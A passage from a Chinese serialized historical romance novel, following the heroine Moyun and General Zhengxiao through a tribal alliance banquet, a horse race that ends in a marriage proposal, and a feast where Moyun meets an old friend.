她抬目望去，原来是雨生部落那位活泼的小姑娘——雨燃。没想到这些年的光景，这个跟在自己后面哭鼻子不肯走的小女孩，如今已经长成大姑娘。可她的笑容依旧犹如春风拂面，明亮又生动，让茉云的心情也瞬间轻松了些。
雨燃一蹦一跳地跑到茉云身边，丝毫不顾自己父亲的目光，开心地望着茉云，开口便问：“茉云姐，你嫁人了吗？”
茉云愣了半刻，无语地看着她，淡然一笑：“你觉得呢？”
站在一旁的威行、雄山和小马等人都忍俊不禁地看了过来。
雨燃则点点头，满脸笃定看向茉云说道：“那肯定是茉云姐你没看见中意的。”
“对，绝对不可能是咱头嫁不出去！”小马小声应道。
顿时威行、雄山他们再也忍不住，笑得肩膀都在微微颤抖。茉云抬脚对着小马就是一脚，瞪着他们，他们瞬间就躲着跑远点，顿时营地里气氛又轻松了几分。
雨燃则丝毫不见停歇，继续喋喋不休地聊着西南各式各样的八卦，似乎永远有说不完的话题。茉云看着眼前这个自小便是话痨的女孩，心中颇为无奈，但不知为何，心中又觉得些许温暖。
可一刹那间，雨燃突然停下来，深吸一口气，看向茉云的眼神变得有些惆怅：“茉云姐，你可否不要帮着奇能哥哥他们欺负人？”
茉云愣了一刻，看着她，微微皱眉：“雨生离他们那么远，他们连你们都欺负？”
雨燃摇了摇头，眼神坚定：“我们雨生部落不怕人欺负。”
她的语气充满了自信和倔强，就像她的部落一样，虽然地处偏远，面临无数挑战，但从来没有人能够轻易动他们。
茉云静静地看向她，平静地说道：“说来听听，如何欺负人的？”
雨燃听到茉云的问话，顿时气不打一处来，一脸愤慨地说道：“他们不准西南望族和韦达部落通婚！凭什么！”
茉云挑了挑眉望向雨燃，眼中闪过一丝疑惑：“韦达部落？”
雨燃则一脸坚定，毫不掩饰自己的情绪：“云姐，韦达部落就没有一个好人，日升部落、正奇部落、卢家军中没有一个不好之人吗？”
茉云顿时愣了一下，看着她的神情变得有些玩味，笑道：“你看上了韦达部落的谁啊？”
雨燃被茉云这么直接的一句话问得笑出了声来，她的脸颊微微泛红，眼中闪过一丝羞涩。
茉云看到她的反应，笑意更灿烂，说道：“跟我来，指我看看。”
她一边说，一边带着雨燃往大营走去，走进大营时，茉云按照雨燃指着的方向，抬目望向韦达部落的人，只见他们坐在大营的角落里，仿佛与四周的氛围格格不入。
茉云眉头微微一挑，韦达部落当年曾是西南最为兴盛的部落，部落主偏爱小妾，任由其一双儿女在西南疆域呼风唤雨，胡作非为，最终自食恶果。然而，如今的韦达部落已经不再有曾经的荣耀，老部落主卧病在床，而今日来参加会盟的，据说是老部落主的庶出小儿子，叫做西今。
茉云的目光停留在此人身上，这个刚成年不久的男子此刻坐得笔直，腰杆挺得如一根松木，茉云心中不禁回忆起当年韦达部落主宠爱的那位小妾，为人那么尖刻和厉害，韦达部落中的其他庶出子女，定然生活在其阴影下，没过什么好日子。
但他现在却要背负起部落曾经的屈辱和复兴的使命，那定也是不为人知的重担。
此时主营内的几张大桌上，已经准备好了满桌丰盛菜肴。元帅命人安排诸位部落主和部落主帅落座，众人纷纷谈笑风生的坐下，气氛略显轻松。
而当韦达部落的年轻少主西今，步伐稳健不动声色地走到主桌前，在众人的注视下，毫不畏惧地站定。
突然间，桌旁有人嘲讽道：“西今，你有何资格坐主桌，连韦达都未坐主桌。”
顿时众人都看了过来，西今却毫不退让，冷静地回应道：“我是代替韦达部落主而来，部落主都随元帅坐主桌。”
他的声音虽不高却决绝，然而，其他部落中的年轻少主和统帅们，显然不愿意接受这个回复。
正奇部落首领的弟弟本就是个年轻气盛之人，站起身便指着怒骂道：“滚！也不看看这是哪儿！”
此刻，没有一个部落主为他仗义执言一句，他们自然不愿意让一个乳臭未干的年轻人挑战他们的地位。而其余众人眼中都充满了轻蔑和不屑，显然将当年对韦达部落的不忿，都发泄到了他身上。
但西今依旧不为所动，脸上带着一丝冷笑，说道：“韦达昔日是开罪了方茉云，但他们受到了各自的惩戒。你们打着方茉云的招牌，在西南狐假虎威，到底还能嚣张到何时？”
他的话语如此清晰有力，传遍整个营帐，顿时让整个场面变得极为尴尬。卢家军的众多将士，眼中迸射出愤怒望向他，气氛瞬间变得紧张。而韦达更是忿然的站起来瞪向他，他居然敢如此说茉云。
然而就在此时，雨燃却丝毫不顾及场合的喊道：“你怎么……可以如此说云姐！”
而西今愣了半刻看向雨燃，眼中闪过一丝异样的光芒，但他依然保持着坚定和倔强，未曾退缩分毫。
茉云站在一旁，安静地看着这一幕，却微微挑眉，嘴角也扬起了一丝笑意。
就在气氛一度凝固之时，营帐的门帘被掀开，正啸大步走了进来，整个营内瞬间安静了下来，所有人的目光都不自觉的投向他。
正啸的神情透露出一股冷峻的威仪，目光如鹰隼般锐利，他屹立于人前不用发一言，那威猛而霸气的气势，就已经宣告了自己的存在与权威，身上那股与生俱来的威压，甚至都让人不敢直视。
他抬目冷凌而不容置疑地望向西今，语气沉稳而有力地说道：“当年韦达部落，并非因得罪
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了谁，而是胆敢在南境生事，自作孽不可活。”
西今微微一怔，眼底浮现出复杂的情绪，似是愤怒，亦似隐忍。其余部落主和将领眼中闪过一丝轻蔑之意，皆等着看卢家军如何收拾这个自以为是的年轻人。
然而，正啸只是淡然地向前一指：“即然是代表部落主前来，坐吧。”
空气中顿时弥漫着一瞬的静默，所有人都愣住了——西今如此挑衅，甚至言语间对茉云这般不敬，少帅居然让他坐？不是听说茉云在卢家军中颇受重视吗？
元帅亦微微蹙眉，目光不动声色地看向正啸。然而正啸神情如常，眉峰微敛，沉稳地在元帅身旁坐下。若辰望向他，眼中闪过一丝疑惑，毕竟原先的安排中，正啸并未打算出席此宴。
正啸抬眸看向若辰，语气平静地问道：“谈得如何？”
若辰看见他的眼神，微微一笑心领神会地说道：“部落主们已纷纷表明了共抗峑戎的意愿和条件。”
正啸眼神骤然一冷，眉宇间尽显威势，沉声道：“愿共抗峑戎，便可同心协力，但卢家军不谈条件。”
这一番话掷地有声，元帅微微颔首，东山、执礼皆露出一丝诧异的神色，而坐在席间的各部落主更是神情各异。
“父帅，我卢家军绝不插手部落间的恩怨，亦不助长任何势力为首。”正啸目光凌厉如刀的说道，“何况是在等闲平地起波澜之处。”
茉云静静地看着正啸，情不自禁的嘴角微微上扬，眼中闪过一抹赞赏的笑意——这才是卢正啸，无论何时都如此铁血而清醒，从不受人胁迫。
“但是，”正啸目光凌冽，扫视在座的部落主和统帅，眼神深沉如冰，话语间尽是压迫感地继续说道：“围渡城是我卢家军破的，如今围渡城面目一新，新主已定，谁敢踏入一步，我定亲自收拾他。”
此言一出，众人不禁倒吸一口气，石腾和石霄都望向正啸，眼中自然是不言而喻的感激与崇敬。
此番战乱之后，其实戈壁上这几日就有些蠢蠢欲动了，围渡城之地稳定而繁荣，若能染指，便等同于掌控了一块富饶之地。然而，正啸这句话无异于彻底断了所有人的念想。
茉云微微一怔，目光停驻在正啸身上——她原以为正啸不谈任何条件，不插手他国事务，更不屑交易，可为何此刻又铁血决断捍卫围渡城这一座城池。
“今早石腾少城主，入营便来拜见了少主，求他在围渡城未修好之前，护佑围渡城，以免戈壁草原上狼子野心之人，祸害城民！”站在茉云的执礼忽然在茉云身旁小声说道，“到底是您身边成长起来的孩子，甚为机灵聪颖！”
茉云愣了半刻，挑眉望向执礼，他这话中似有深意。
“还未等少主应他，他便大声说道，姐夫，您帮帮我！”执礼意味深长地笑了说道，“石腾不是叫您姐吗？”
茉云顿时眼中忿然闪过一丝无语的瞪向石腾，石腾却望向她露出一脸灿烂地傻笑。
此时，元帅不动声色地捋了捋胡须，眼底闪过一抹赞许笑着说道:“少帅来得正好，敬敬在座诸部的英雄们！”
“好！我敬诸位！”说完正啸起身，眼神以震慑全场的浩然气势扫过众人，说道“愿君莫做中山狼，得志便猖狂！愿西南太平，山河长安！”
此言一出，本一脸笑意的端起酒杯的元帅，险些被呛到，东山和执礼都愣了半刻望向正啸，少帅这哪是和谈啊？而诸将却顷刻间握紧了刀柄，威武地列在营帐两旁，目光雄壮的望向众人。
若辰则轻轻望向正啸，眼中浮现一丝笑意，他竟这般火大？
而西南众人神情闪过一抹震惊，又带着一丝敬仰地端正了坐姿，眼神崇敬地看向正啸，好似在重新审视这位卢家军的统帅。
此时，宴席之上陷入了短暂的沉默，寂静中却暗藏波涛。西南部落自古的血脉之中，便流着崇拜强者的血液——这一刻，正啸无需任何筹码，便已以绝对的武力与气势，彻底压制众人。
茉云清亮的双眸瞬间透出了难以掩饰的悸动，望向他——浩然正气自生威仪，他便是自己一眼就看上的人！
282.想要
正啸放下酒杯，语气冷峻而简洁的说：“父帅，有劳你和巡抚大人，我军务在身，先告退了！”
元帅一脸故作镇定的放下酒杯，眼中闪过一丝无奈，语气却依旧沉稳：“嗯。”
正啸转身的瞬间，望向诸将，神情严肃，声音如同雷霆般沉着：“诸将随我出去，继续带兵操练！”
“是！”所有将军齐声应答，声音洪亮而铿锵，顿时气氛变得更加凝重。
茉云不自觉地注视着正啸，她忽然觉得，今日的正啸，好似身上有一种无形的火焰在燃烧，压迫得他周遭都在微微颤动一般。当他们擦身而过之时，茉云微微皱眉望向他思索着……在她还未回过神来时，正啸忽然抬手，握紧了她的手臂，不容分说的将她带出了营帐。
茉云无语地跟着正啸走出营帐，心中暗自咕哝，不禁挣脱开他拉住的手臂，语气略带不满的说道：“我又无兵要带，蹭点酒喝有何不行？”
正啸瞬间转头，忿然的目光不禁刺向她，茉云也愣了一下，眼前他这般滔天的怒气，从何而来……然而，看到茉云眼中的震惊，正啸的怒意微微凝滞，双眉微皱看向一旁，深吸一口气，好似在强行压抑内心的狂怒。
他的眼神逐渐变得温和了些许，缓缓开口说道：“去白叔的营帐，把药喝了！”
茉云看着他，心中不免还是疑惑，但轻轻“哦”了一声，随即转身朝白神医的营帐跑去。
茉云喝完药后，乖乖待在白神医的营帐中，白神医点燃了艾为她驱寒补阳，烟气氤氲，温热的香气弥漫开来，让她整个人都觉得昏昏沉沉，连脑袋都晕乎乎的。
她靠在椅子上，眼皮渐渐沉重，隐约感到一丝困意袭来，心里仍在琢磨正啸今日的反常，怎么都觉得不对劲，思来想去，竟不知不觉睡了过去。
白神医走到她身边，看着她酣睡的模样,顿了一顿，驻足闻了闻艾草的香气，眼神无语地看向不言。
不言则微微一笑，低声说道：“师傅，她就是太过劳神了，让她歇一歇也好。”
过了半个时辰，若辰掀帘进来，望见茉云躺在摇椅上睡着了，便轻轻将白夫人托他带来之物放在桌案上，白神医望着他，低声问道：“谈得如何？”
若辰嘴角含笑在一旁坐下，语气轻松地说道：“自然是谈妥了，西南诸部落都愿意联合抗峑戎。”
白神医见若辰端坐在自己桌案旁，丝毫没有起身要走的打算，便笑着问道：“东西已带到，你还不去正啸的营帐商议正事？”
若辰笑了，伸手拿起茶壶，优雅地为自己倒了一杯茶，神情悠闲，语气中带着几分轻松：“我还是不去他那的好，现在他火大。”
白神医听了，微微一愣，随即望向若辰，神情带着几分担忧：“我速速去为他探脉，莫非他是热毒犯了？”
若辰嘴角上扬，淡淡一笑，眼中闪烁着些许玩味的光芒：“白叔，您不用担心，就算是热毒，也没这么大肝火吧。”
白神医放下手中称量药物的秤，目光带着探究地望向若辰，总觉得他话里有话，心中隐隐生出几分疑虑。
若辰靠在椅背上，轻轻舒展着肩膀，目光不自觉地扫向还在沉睡中的茉云，脸上的神情带着几分调侃，说道：“我如此跟您解释吧，那家伙自小清心寡欲，吃穿都不讲究，除了练武，别无他好。他所珍视的东西屈指可数，比如他的剑、枪、弓，那旁人可是碰不得的。我三岁那年，随我娘去他家拜访，不小心动了他剑，他勃然大怒！”
白神医听罢，忍不住捋了捋胡须，笑着说道：“人鲜少记得自己三岁之事，你却还记得……可见记忆深刻。”
“永生难忘。”若辰嘴角依然带着笑意，眼神深邃地望向茉云，语气微微一沉，意味深长地说道：“而如今，人来要的还不只是他所好之……物。”
他话音未落，视线落在了茉云处，白神医顿时心领神会，摇摇头笑了。
茉云似乎还沉浸在睡意中，未有丝毫的动静。过了约一炷香的时间，她终于缓缓睁开眼睛，神清气爽地伸了个懒腰，舒展着全身的筋骨。脸上挂着一副风轻云淡的神情，好似什么都未发生过，站起身轻盈地走出了营帐。
经过正啸的营帐之时，看见王强站在营前有些忐忑不敢入营，茉云透过门帘的缝隙看向营帐，都能感受到正啸营帐内，弥漫着一股不言而喻的紧张气息。
执礼低头处理公务，神情专注而严肃，千山则站在一旁，一言不敢发，气氛凝重。
茉云心中微微一动，不以为意地看向王强说道：“你们今日会去营外视察西南的情况吗？”
“会啊！”王强无语的说道，心想我这不是正想进去请命，可是不敢进吗？
茉云则朗声笑着说道：“不如我带你们去，我对这周边都极为熟悉，而且往西有块辽阔之地，适合驰骋，我也可以去溜溜马。”
“哦！”王强还没晃过神，茉云开心的就往马圈跑去。
不到一炷香的时间，茉云牵着马出来，就看见正啸、沧海和威行、王强都已准备好，出营视察。周总教头望向他们都愣了半刻，今儿怎么这么多人出去探路……
茉云带着他们了解了周边的地形以及西南各部分部，正啸则若有所思的看向天边，茉云亦抬目望着西南辽阔的天地，深深吸了一口这熟悉的土地芬芳，脸上不由得浮现出一抹感慨，曾几何时，自己还以为有可能在此过一生……
视察完四周的地势后，茉云忽然指着远处山下，一颗隐隐约约能见的树，笑道：“那颗树上的红果好吃极了，要不咱们比比，看谁能第一个拿到红果，获胜者可以提一个条件。”
正啸侧目望向她，可茉云话音未落，便毫不犹豫地夹紧马腹，纵马飞驰而去。
紧接着，其他人还没来得及反应之时，正啸紧随其后，驰骋而去。威行看到此情形，顿时扬鞭准备追赶，可是被沧海抬起马鞭拦住了。
威行愣了一下，随即指着说：“还不追就追不上了。”
沧海则无语望着威行，语气不急不缓的说道：“你觉得你追得上他两吗？”
众人抬目看去，看着他两在一马平川的开阔地上风驰电掣般奔腾而去，正啸与茉云的骑术本就无
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可匹敌，他两身体紧贴马背，好似化作两道疾风，扬起身后漫天的尘土飞扬，马蹄踏响地面，轰鸣声响彻四野，驰骋速度之快如雷霆闪电，令人心神俱震。
威行看着，忍不住感叹地摇头道：“那算了。”
沧海旋即拉住马缰，转身准备回营：“咱们回营等少帅吧。”
王强则远远眺望了一眼，心领神会的笑了，转身随着沧海而去，威行追着沧海问道：“不等少帅和茉云啦？”
沧海无语的快马一鞭往营地飞奔而去，王强也笑笑跟了上去。
在这片广袤的开阔地上，四周是连绵不断的山脉与浩瀚的天空，空气中弥漫着尘土与野性的气息。风在耳边呼啸，扬起的尘土与草屑，犹如飞舞的碎片，在阳光与疾风中交错腾跃。
整个天地仿佛在这一刻随着他们的奔跑而愈加辽阔，两人好似在这一瞬摆脱了所有束缚和烦恼，天地间只剩下他两并肩驰骋，感受着马背的颤动与心跳的共鸣，嘴角都不由得勾起一抹笑意，尽情享受这片刻的畅快与自由。
茉云几乎与正啸同时到达了那棵树下，两匹马的蹄声还在空旷的草地上回响，正啸瞬间一拉缰绳，他的马烈儿瞬间前蹄腾空而起，好似平地腾飞一般，正啸伸手便摘下了那颗挂在树枝上红彤彤的红果，动作迅速而干脆。
茉云看到正啸率先拿到了红果，顿时不服气的喊道：“这不公平，你比我高！”
话音刚落，她就毫不犹豫地向前扑去，伸手就想抢夺那颗果子。
正啸嘴角微微扬起，笑意加深，顺势轻巧地躲开了她的手。茉云看到抢果子被他躲开，心头一急，迅速又来抢，可是正啸跟前她又岂可轻易得逞。茉云把心一横毫不顾忌地飞身而起，奋力去抢,然而，在她急切的动作下，她的身体几乎失去平衡。
正啸眼见她快要跌下马的一瞬间，立刻松开了手中的红果，伸出双手将她牢牢地抱住，稳稳地把她拽回自己的怀里。
茉云顷刻被他温暖而有力的怀抱稳住，可她不管三七二十一，看着抢过来的红果，笑颜如花带着一丝狡猾，她知道正啸肯定会松开红果去接住她……她开心地用袖子擦拭着红果上的尘土，咬了一口。
正啸看着她那一脸得逞的笑意，不禁摇摇头，嘴角也荡起一丝笑意。
茉云一边津津有味地咀嚼着红果，一边不自觉地靠到正啸的怀里，笑着举起果子，轻轻放到正啸的嘴边：“尝尝，可好吃了。”
正啸微微俯身，低头轻轻尝了一口，果汁的甘甜似乎与她的笑容融在一起，他看着她，这一刻的眼神里瞬间透出深沉的柔情和宠溺。
茉云则开心的抬起头望向他，说道：“好吃吧，就算你赢了吧，想要什么？”
两人四目相触之时，正啸的目光蕴藏着浓烈的情感与渴望，仿佛整个世间都为之停滞。
“我想要你，大战获胜之后，嫁给我。”
茉云愣了一下，眼睛微微睁大，她的唇微微张开，正啸俯身而来，呼吸如此炙热，好似此时任何言语都显得多余，还未等茉云来得及反应，正啸已深深地吻了下去。
283.懂
黄昏的余晖温柔地洒落在广袤的草原上，金色的光芒洒在两人身上。远处的天边被晚霞染成了绚烂的橙红色，缓缓变幻着，像是被这份浓烈渲染。
松开的一瞬间，正啸又一把抱紧茉云，一下抱得她都快碎了一般，不禁抬头望向正啸，他则一脸理所当然的抱她在怀里，好似再向周遭宣告——我的！
这一刻，茉云顷刻被逗笑了，她当真是做梦也没有想到能在卢正啸的脸上，会看见到只有三岁小儿脸上才有的神情——如此执拗而不讲理地抱着自己霸占之物。
片刻后，茉云低头看着手中的红果，轻轻抿了抿嘴唇，带着一丝无奈与笑意说道：“就这果子，能换个这么大的事？”
夕阳的余晖在他们身后渐渐消散，夜幕开始悄然降临，微风轻拂过，带来一阵凉意。正啸拉紧缰绳调转马头，准备带着茉云回到营地。
茉云靠在正啸的怀里，想着忽然好奇地问道：“若辰说他三岁之时，曾动过你的剑，至今记忆犹新，是怎么回事？”
正啸想着，无语的回忆道：“那时我抢过剑，冲他说：‘君子不动人所好。’谁知道那小子非但不跑，还一脸天真地纠正我说什么‘是君子不夺人所好，还有君子动口不动手。’我顿时气不打一处来，直接一剑柄敲他头上，然后将他一顿暴揍。那家伙哭得，怕是全京城都能听见了。”
茉云顿时笑得前俯后仰，正啸想着也忍不住微微笑了，茉云继续好奇的问道：“那你两后来为何又成了挚友？”
正啸让烈儿缓缓地走着，茉云的马则安静地跟在一旁，蹄声轻响，正啸缓缓说道：“京城文官多，子嗣多习文，他应该是为数不多的被我揍过之后，还敢与我说话之人。”
“他当时说什么？”她轻轻扬起下巴，目光探究地望向正啸。
正啸的嘴角又微微上扬，语气便带着些许笑意：“好像是说……你别过来，有话站那儿说就行。”
茉云顿时又笑得花枝乱撞，笑声清脆如铃。
正啸继续回忆着，眼中又透出一丝怅然，说道：“而且程叔老是苦口婆心地跟我说，我得交几个朋友，对人要态度和善，日后有事，也有人商量。”
“程叔就是程老将军，你岳父？”
正啸微微点了点头，目光越过远方，好似思绪陷入到那些年日渐逝去的岁月中。
茉云也曾听崔老将军提起过程老将军，他在军中威望极高，是元帅的异性兄弟，也是卢老元帅最为器重的属下。而正啸从小就常被程老将军和周总教头带在身边，周总教头严厉而程老将军为人温和儒雅，和正啸最亲。茉云也听依妮说过，她自小就听人说过，正啸当年愿意娶她的母亲，完全是因为她是程老将军的女儿……
两人行至能望见军营之时，茉云纵身一跃，轻盈地回到了自己的马背上，正啸也没有说什么，两匹马并肩奔行。
夕阳的余晖洒在两人的身上，空气中依旧弥漫着温暖的气息。正啸的神情不再如白日那般愤怒，取而代之的是一种柔和与畅然。他轻轻牵着马缰，目光温柔地扫过茉云，一路谈笑风生，那份深藏的默契与亲密，在微风中传递着。
当两人快到营帐之时，只听见周总教头正朝着威行和王强怒气冲冲地大声训斥，完全没有注意到正啸的到来：“你们怎么能将少帅和方茉云丢在戈壁上？”
“我们看到附近没有敌军，凭他们俩的功夫，谁能拿得了他们？妖怪啊？”威行一脸无语的回道。
“妖怪有方茉云狠啊？”周总教头顿时忿然吼道。
“方茉云,好像不吃人吧？”茉云忽然轻松地插话道。
众人顿时哄堂大笑，周总教头顿时气不打一处来，转头瞪向茉云：“你知道关外少帅的悬红是多少？这些年多少杀手们觊觎少帅？你居然带着少帅到处乱跑，黑天还不回营！”
“这话说得，我的悬红比他低吗？”茉云笑着飞身下马道。
周总教头本打算继续训斥她，然而走来的元帅看见正啸与茉云并肩谈笑走进营帐，眼中闪过一丝喜悦，他不由得笑了劝道：“诶，啸儿从小就命大，再者这一生武艺练来是干嘛的？不要过于紧张，探查周边也是军务嘛，你两快去伙营趁热吃点。”
听到这番话，周总教头也只能忍而不发。茉云则开心地朝伙营跑去，正啸也轻松地走了去，营中人纷纷对视，心中不禁暗自猜测，正啸似乎气息又温和了？
茉云开心地大口吃着，碗里的饭菜似乎在她面前不一会儿消失得无影无踪，她又开心的去乘了一碗,嘴角带着满足的笑意，显然心情极好。正啸坐在她对面，一脸温和的吃着饭。
无人时，茉云习惯性地从正啸的碗里挑她喜欢的菜，随意又自然。正啸亦不会阻止她，旁边的千山和万莫已经习惯了，只是千山眼神中会带着几分无奈。
就在这时，若辰端着饭走来，观察了正啸一番，才泰然坐下。接着执礼、王强等人方才走进来坐下用晚膳。
“你们也是，他又不是气不顺会找人撒气之人，这有何好害怕的！”茉云看着他们被逗笑了说道。
“我也很纳闷啊，素来他眼睛一瞪，人就吓得腿软了，你为何从来不怕他！”若辰微微笑着说完，又侧目望了正啸一眼，带着一丝奚落调侃的语气说道：“这般就哄好了？”
正啸自然懒得搭理他，茉云则筷子都没有停一下，继续大快朵颐。
“说来您这是如何哄开心的呢！”执礼的语气中明显带着一丝揶揄的笑着问道。
“像他们这种自小被成千上万双眼睛盯着长大之人，这寻开心的地，他也不敢去，也没去过啊，都没见过啥世面，您少主出去看看山，看看水，骑骑马就很开心！”
若辰微微愣了半刻望向正啸，自己与他相识半生，一直都以为他们除了习武别无所好，他喜爱寄情山水吗……
茉云挑眉看若辰笑着说道：“像关大人这种就更神奇了，出个太阳，下场大雨，他都能看着傻乐半天，”
顿时众人哄堂大笑，正啸无语的望向茉云微微亦笑了，若辰亦是一脸温润的笑颜，顿时周遭气氛都轻松了。
刚用完晚膳，就有人来报说围渡城的少城主来访，还备了谢礼，元帅让少帅去见……
茉云顿时双眉微蹙就要起身，正啸看向她起身说
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道：“我去见他，你将饭吃完。”
茉云深吸一口气望向正啸，她并不乐意正啸因为她而落个偏私的名声，正啸则温和的看了茉云一眼，示意她放心。茉云才点点头继续吃饭，眼中透出一丝忿然。
石腾踏入营帐时，正啸正端坐案前，眉宇间透着一如既往的沉稳与威严，见他进来，才抬头目光淡然地落在石腾那带着几分拘谨的脸上。
“少帅，我备了些薄礼，以表今日您仗义相助的谢意。”石腾笑着说道，神情带着少年人特有的爽朗，但眼底仍藏着几分未脱的青涩。
正啸微微颔首，却未去看礼物，而是目光沉沉地看着石腾，缓缓开口说道：“你可知，方茉云有个侄儿，名叫方腾。”
石腾愣了一下，他没明白这句话的深意……
片刻间，正啸眼中陡然迸射出一抹凌厉而冷冽的光芒，他的声音不疾不徐，却带着不容置疑的气势：“昔日她就是你这般年纪，本可在这草原上自由自在，可她却选择离开，为自己背负了刀剑戎马的一生。她替自己的侄儿取名方腾，或许就是为了提醒自己，围渡城，还有一个石腾在等她回来相救。”
石腾顷刻间呼吸一窒，他望向眼前的正啸，能感受到他言语中那如刀锋般锐利，亦能感受到他眼中如星辰般深邃的深意。坐在一旁的若辰无语的望向正啸，石腾毕竟还才十几岁光景……
正啸却丝毫没有搭理若辰的眼神，声音低沉而坚定：“她一介平民尚可如此，你又在畏惧什么，是否能争气点！”
这一刻，石腾的心仿佛被猛然击中，他的双手不自觉地收紧。他想到自己这些年的颠沛流离和忍辱偷生，想到了曾经的胆怯与犹疑，可如今，他已回到了朝思梦想的围渡城。
石腾深吸了一口气，拳头紧握，说道：“我……思来想去，只是不知道自己如何能做好城主。”
正啸眼中的凌厉才渐渐散去，取而代之的是一种沉稳的温和，语气亦多了一分鼓励：“书中所言，治国之道，爱民而已，于你，你记住 你这些年的颠沛流离，时刻提醒自己，不能让围渡城的城民，过一日你曾过的日子。如此，你便定能做好这城主。”
这一句话，沉沉地落入石腾的心里，如晨钟暮鼓，让他内心翻涌起难以言喻的感触……他望着正啸，眼神中终于透出带着几分坚定的光。
帐外，茉云静静地站在营帐帘后，透过缝隙望向正啸，心中微微一震。她一直知道，正啸厌恶战争，可他自小却始终坚持卢家的信念，誓要将峑戎逐出南境。大抵是因为他的朋友、亲人和敬仰得到长辈皆葬身沙场，他不想再让更多人，去尝他曾尝过的痛苦。
若辰端起茶盏，轻轻倒茶，嘴角扬起一抹温润的笑意，他们二人，终究会走到一起，只因对彼此的灵魂深处，有着最深的理解和共鸣。
正啸望向石腾，抬手指向那些贺礼，又带着几分眼里说道：“还有将这些都拿回去，要学学点好，别学她那些小聪明，行大道，方可至万里！”。
“哦！”
此刻，若辰的目光意味深长地望向帘后的茉云的影子，她的身影此刻果然气冲冲走了！
284.故人
翌日清晨，金色的光辉洒满大地，四野好似都这温暖的阳光唤醒，天空湛蓝，远处的山川都被照得清晰可见。
元帅与正啸等人如约前往日升部落，各部落的首领也陆续汇集，准备今日签署共抗峑戎的会盟条约。
茉云昨晚就去求了元帅，自己也想随队前往，去看看曾经学骑射的部落和好友，元帅自然允了。她今日一早就乔装成骑射营的士兵混入其中，卢家军骑射营的士兵之头盔皆有面罩，只漏出了双眼，罗虎无语的看了她一眼，元帅下令他也无话可说。
随着队伍向日升部落进发，沿途的景色渐渐变化，茉云抬目望去，如今日升部落的幅员已如此辽阔，经过一片广袤的草原，部落的景象逐渐清晰。顿时让茉云心中一震，这里不再是年少时记忆中的破败模样……
部落的四周帐篷密集，马匹奔腾、羊儿成群，放牧的牧民忙碌地在草地上穿梭，族人个个面容健康，衣着鲜明，确实显得富饶又充满生气。
老部落主和奇能此时一同走出来，其他部落主早已到达，都跟在他们身后，一同出来迎接卢家军，气氛庄重而热烈。
签完盟约后，宴席随即开始，老部落主亲自设了全羊宴，款待尊贵的卢家军将士，还有各部首领和随行之人。桌上摆满了烤全羊、羊腿、羊肉串等丰盛的美食，羊肉香气四溢，肉质鲜嫩，令人垂涎欲滴。
茉云扫视了一眼，却并未拿起筷子，她看了一圈各个部落主的座次，果然西南已经是另外一番天地了，而此时西南各部的部落主们纷纷起身向元帅和正啸敬酒，元帅本是豪气之人，来者不拒。
宴席期间，各部落的代表们纷纷表演了各自擅长的曲艺，部落的音乐声、歌声、舞蹈交织成一幅热情的画面。随着一阵阵掌声和欢笑，气氛愈加热烈，场面热闹非凡。
此时，雨生部落的小女儿雨燃看到茉云，开心地招了招手。茉云微微一笑，点了点头，心头却暗自感叹，这丫头怎么认得出自己？
正当宴席进入高潮时，正奇部落的小女儿娆月迈着轻盈的步伐走到宴台中央。她身着一袭部落最鲜艳的红裙，裙摆在空气中飞扬，犹如翩翩起舞的赤焰仙子。红裙衬得她皮肤如凝脂般白皙，宛若细腻的瓷器，散发着温暖的光泽。
她的一双眼睛更是明亮如星辰，深邃而神秘，眼波流转间，带着几分天生的妩媚和热情，让在场的所有部落少主都不由自主地注视着她，目光中满是欣赏与迷恋。
娆月一舞之后，纤细的身姿微微转动，盈盈一笑端起酒杯，缓步走向正啸，嘴中含笑眉眼含情地说道：“娆月代替正奇部落敬英雄的少帅。”
此时，雨燃则白了一眼，看向茉云夸张的做着口型——狐媚子。茉云被逗笑了端起酒杯挑眉看向正啸。
然而正啸半天没有反应，元帅则手肘撞了一下正啸，娆月微微一愣，眼中闪过一丝诧异，正啸居然看都没有看自己一眼，可她却依旧保持着娇媚地微笑。
正啸微微抬目，冷冷开口道：“你意思我父帅非英雄？”
此言一出，空气仿佛瞬间凝固。娆月的笑容一僵，站在原地，不知如何应答。
茉云这一瞬差点被酒呛到，元帅顿时转头瞪向正啸，威行他们纷纷忍着笑，娆月自是感到一阵尴尬，急忙转身先敬元帅，而后又敬了正啸一杯酒。
正啸依然没有正眼看她，只是没有表情地端起酒杯，喝了一口，好似这场面本与他毫不相关。
若辰站在他身旁，忍不住轻轻一笑，他早已习惯了正啸这般反应，他也知道这并非是正啸故意刁难谁，更多的是因为他自小经历，内心早已刚硬如铁，不以外物而喜，更不为声色动容。
场中的气氛依然微妙，但随即又恢复了原有的欢乐，宴席上的笑声渐渐填满了空气。
宴席后，元帅一行人准备回营，就在他们出营之时，远处的羊群突然一阵骚动，几乎所有人都张望而去。紧接着，一队骑射兵迅速从日升部落的营地中冲出，迅速拢成阵形，准备应对突如其来的威胁。
旁边送行的老部落主见状，笑着对元帅解释道：“元帅莫怪，许是狼群来了。我们部落射手出去护卫牧民与羊群。”
正当他话音落下，远处传来狼嚎的声音，那声音威厉而悠长好似穿透了大地，带着野性与威胁。茉云却微微抬起头，眸光闪烁，嘴角微微扬起，心中知道是老朋友来了。
茉云转身目光望向元帅，微微行礼示意自己想去探访故人，元帅亦点头回应，示意她去吧。茉云顿时握紧缰绳，调转马头扬鞭疾驰……
罗虎眉头微微一皱，眼中流露出担心，他看向元帅刚要说什么，元帅便轻轻挥了挥手，温和地笑着说道：“她骑术非凡，等下就追上队伍了。”
罗虎再回头之时，她的身影已如一道闪电，穿过草原，扬起阵阵尘土。
茉云望见远处日升的射手们回营了，骑射手正用着彼此的方言交谈，大致内容便是老影在，没问题。
茉云听着心中一暖，笑意盈盈地加速前行，原来故人还不止一个。
不久后，一个面容沧桑，脸上有一道深深的伤疤的老人，出现在她的眼帘之中。那老人身躯健硕，皮肤黝黑，双臂有力，随着手中的马鞭挥动，羊群安静了下来，往远离狼群的方向跑着，整个羊群的都在他有力的掌控之中，而狼群远远地看着，未有一只敢靠近。
茉云一眼认出了他，开心地喊道：“老影！”
老影闻声而起，微微挑起眉头，随即嘴角露出了一丝笑意，语气有些调侃地喊道：“我当是谁把那家伙招来了。”
“等下来找你。”茉云骑马擦身而过，笑着回道，此刻她的心情好似草原的风，轻快又自由。
